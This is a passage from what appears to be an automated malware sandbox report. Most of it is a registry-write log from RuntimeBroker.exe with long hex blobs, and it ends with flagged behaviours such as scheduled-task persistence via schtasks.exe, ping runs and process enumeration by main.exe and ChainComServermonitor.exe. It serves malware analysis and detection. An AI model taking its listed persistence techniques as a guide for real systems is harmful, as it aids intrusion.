d00320031002d0032003800370038003600340031003200310031002d003600390036003400310037003800370038002d0033003800360034003900310034003800310030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000001a73a277000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6ee7939b-59c0-456c- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a8275e2c-27cc-4cc4- RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a8275e2c-27cc-4cc4- RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aa5800d9-d125-499c- = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59896060-f17e-4b7f- = 164fa532172edb01 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\afd7dd3d-e155-4002- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b0cbf58c-df86-4532- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c28aae97-d47e-401e- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000ea3bdb32172edb01f5d84336172edb01f5d84336172edb0113e507000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000006359d08c2000313432326639323639613464653939376538323439613939616135633632616332636333323737643864346237613033343763363639643138663561393834320000b20009000400efbe6359d08c6359d08c2e0000000000000000000000000000000000000000000000000017b6d000310034003200320066003900320036003900610034006400650039003900370065003800320034003900610039003900610061003500630036003200610063003200630063003300320037003700640038006400340062003700610030003300340037006300360036003900640031003800660035006100390038003400320000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007828d07d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c31343232663932363961346465393937653832343961393961613563363261633263633332373764386434623761303334376336363964313866356139383432000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000796c666f67696f65000000000000000066cf19745d416c49910feb644c099ac995a4a83d9484ef11b319cafd856c81b166cf19745d416c49910feb644c099ac995a4a83d9484ef11b319cafd856c81b1ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800370038003600340031003200310031002d003600390036003400310037003800370038002d0033003800360034003900310034003800310030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000001a73a277000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e2a39164-9878-454e- = c8368e32172edb01 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a8275e2c-27cc-4cc4- RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c5da17bc-c202-4ca2- = 39a9aa32172edb01 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b0cbf58c-df86-4532- = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000002f620133172edb0174945c35172edb0174945c35172edb01c9ab07000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000006359d08c2000633231616637643365663363653461313832336261636130663334653630383763323534363739323066346338303964373330346331633163313136376164380000b20009000400efbe6359d08c6359d08c2e0000000000000000000000000000000000000000000000000089efea00630032003100610066003700640033006500660033006300650034006100310038003200330062006100630061003000660033003400650036003000380037006300320035003400360037003900320030006600340063003800300039006400370033003000340063003100630031006300310031003600370061006400380000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007828d07d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c63323161663764336566336365346131383233626163613066333465363038376332353436373932306634633830396437333034633163316331313637616438000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000796c666f67696f65000000000000000066cf19745d416c49910feb644c099ac993a4a83d9484ef11b319cafd856c81b166cf19745d416c49910feb644c099ac993a4a83d9484ef11b319cafd856c81b1ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800370038003600340031003200310031002d003600390036003400310037003800370038002d0033003800360034003900310034003800310030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000001a73a277000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c28aae97-d47e-401e- RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c5da17bc-c202-4ca2- RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bf34eae1-6555-4103- RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bf34eae1-6555-4103- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000403f9d32172edb01403f9d32172edb01403f9d32172edb01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000006359d08c2000656462346537366233333734616135383930346539666461386561333664666361666138613366323963623333643663316538393431383431326566643430370000b20009000400efbe6359d08c6359d08c2e00000000000000000000000000000000000000000000000000c0dcd700650064006200340065003700360062003300330037003400610061003500380039003000340065003900660064006100380065006100330036006400660063006100660061003800610033006600320039006300620033003300640036006300310065003800390034003100380034003100320065006600640034003000370000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007828d07d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c65646234653736623333373461613538393034653966646138656133366466636166613861336632396362333364366331653839343138343132656664343037000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000796c666f67696f65000000000000000066cf19745d416c49910feb644c099ac98aa4a83d9484ef11b319cafd856c81b166cf19745d416c49910feb644c099ac98aa4a83d9484ef11b319cafd856c81b1ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800370038003600340031003200310031002d003600390036003400310037003800370038002d0033003800360034003900310034003800310030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000001a73a277000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59896060-f17e-4b7f- RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c5da17bc-c202-4ca2- RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6ee7939b-59c0-456c- = "0" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f035b756-b581-47c6- RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aa5800d9-d125-499c- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000409edd32172edb01172dd635172edb01172dd635172edb01ff8b05000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000006359d08c2000306430313237613034643834346537396533633766396435376237343231663162316164333033643936363539333036643363373232336530613339636630620000b20009000400efbe6359d08c6359d08c2e0000000000000000000000000000000000000000000000000086a1dc00300064003000310032003700610030003400640038003400340065003700390065003300630037006600390064003500370062003700340032003100660031006200310061006400330030003300640039003600360035003900330030003600640033006300370032003200330065003000610033003900630066003000620000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007828d07d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c30643031323761303464383434653739653363376639643537623734323166316231616433303364393636353933303664336337323233653061333963663062000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000796c666f67696f65000000000000000066cf19745d416c49910feb644c099ac994a4a83d9484ef11b319cafd856c81b166cf19745d416c49910feb644c099ac994a4a83d9484ef11b319cafd856c81b1ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800370038003600340031003200310031002d003600390036003400310037003800370038002d0033003800360034003900310034003800310030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000001a73a277000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5ad65c3f-fc2e-41f2- = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000004bb59332172edb014bb59332172edb014bb59332172edb01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000006359d08c2000396132353437366237646333613233383833626439653562643439663538366436396530336533336465393139383232386530653631393337616463623537650000b20009000400efbe6359d08c6359d08c2e00000000000000000000000000000000000000000000000000b566e100390061003200350034003700360062003700640063003300610032003300380038003300620064003900650035006200640034003900660035003800360064003600390065003000330065003300330064006500390031003900380032003200380065003000650036003100390033003700610064006300620035003700650000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007828d07d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c39613235343736623764633361323338383362643965356264343966353836643639653033653333646539313938323238653065363139333761646362353765000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000796c666f67696f65000000000000000066cf19745d416c49910feb644c099ac988a4a83d9484ef11b319cafd856c81b166cf19745d416c49910feb644c099ac988a4a83d9484ef11b319cafd856c81b1ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800370038003600340031003200310031002d003600390036003400310037003800370038002d0033003800360034003900310034003800310030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000001a73a277000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bf34eae1-6555-4103- = 672ba132172edb01 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6ee7939b-59c0-456c- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e2a39164-9878-454e- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5ad65c3f-fc2e-41f2- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a8275e2c-27cc-4cc4- = "\\\\?\\Volume{77A2731A-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\0d0127a04d844e79e3c7f9d57b7421f1b1ad303d96659306d3c7223e0a39cf0b" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\172e3be6-cb96-4a4a- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6ee7939b-59c0-456c- = "8324" RuntimeBroker.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 5984 reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 392 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 17 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4672 schtasks.exe 1088 schtasks.exe 1652 schtasks.exe 4240 schtasks.exe 5280 schtasks.exe 2408 schtasks.exe 4700 schtasks.exe 2168 schtasks.exe 5216 schtasks.exe 7080 schtasks.exe 2724 schtasks.exe 4052 schtasks.exe 7084 schtasks.exe 7072 schtasks.exe 3724 schtasks.exe 4004 schtasks.exe 428 schtasks.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 5544 vlc.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 996 main.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe 2104 ChainComServermonitor.exe -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
pid Process 5544 vlc.exe 3464 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
